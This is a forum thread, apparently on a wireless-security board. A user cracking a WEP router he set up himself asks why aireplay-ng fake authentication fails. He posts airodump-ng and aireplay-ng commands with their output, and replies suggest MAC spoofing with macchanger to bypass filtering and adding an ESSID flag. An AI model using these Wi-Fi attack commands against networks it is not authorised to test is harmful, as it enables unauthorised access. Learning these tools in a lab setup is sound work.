    Default Why doesn't airodump-ng associate with my WEP network? Reasons don't make sense

    Hi Everyone,

    I have just setup a router in WEP mode set it's password to 12345. I have run the following:

    First shell:
    airodump-ng -w WEP-hotspot -c 6 --bssid 00:11:AA:11:AA:00 wlan0

    Second shell:
    aireplay-ng -1 0 -a 00:11:AA:11:AA:00 -h 00:11:22:33:44:55 wlan0

    I am getting this sort of an output from the second shell command:

    Code:
    17:54:54  Sending Authentication Request (Open System)
    
    17:54:56  Sending Authentication Request (Open System)
    
    17:54:58  Sending Authentication Request (Open System)
    Attack was unsuccessful. Possible reasons:
    
        * Perhaps MAC address filtering is enabled.
        * Check that the BSSID (-a option) is correct.
        * Try to change the number of packets (-o option).
        * The driver/card doesn't support injection.
        * This attack sometimes fails against some APs.
        * The card is not on the same channel as the AP.
        * You're too far from the AP. Get closer, or lower
          the transmit rate.
    Of course I am not too far from AP as it sets beside me and changing packets didn't help. BSSID is fine and MAC address filtering is enabled.

    Can someone please shed some light on this.

    Thanks,

    Maybe disabling it will help.

    If MAC filtering is enabled the only way to make it work is to change your attacking MAC into one that MAC-filter allows.
    You can do that with "macchanger'' (it's included in Backtrack)

    Second shell:
    aireplay-ng -1 0 -a 00:11:AA:11:AA:00 -h 00:11:22:33:44:55 wlan0
    pal, u r not doing it the write way.
    for that to make it work ,u will have to specifiy the essid.here i will do it for u:

    aireplay-ng -1 0 -a 00:11:AA:11:AA:00 -h 00:11:22:33:44:55 -e "demo" wlan0

    where demo is the essid...
    u can see the essid by "airodump-ng rausb0"
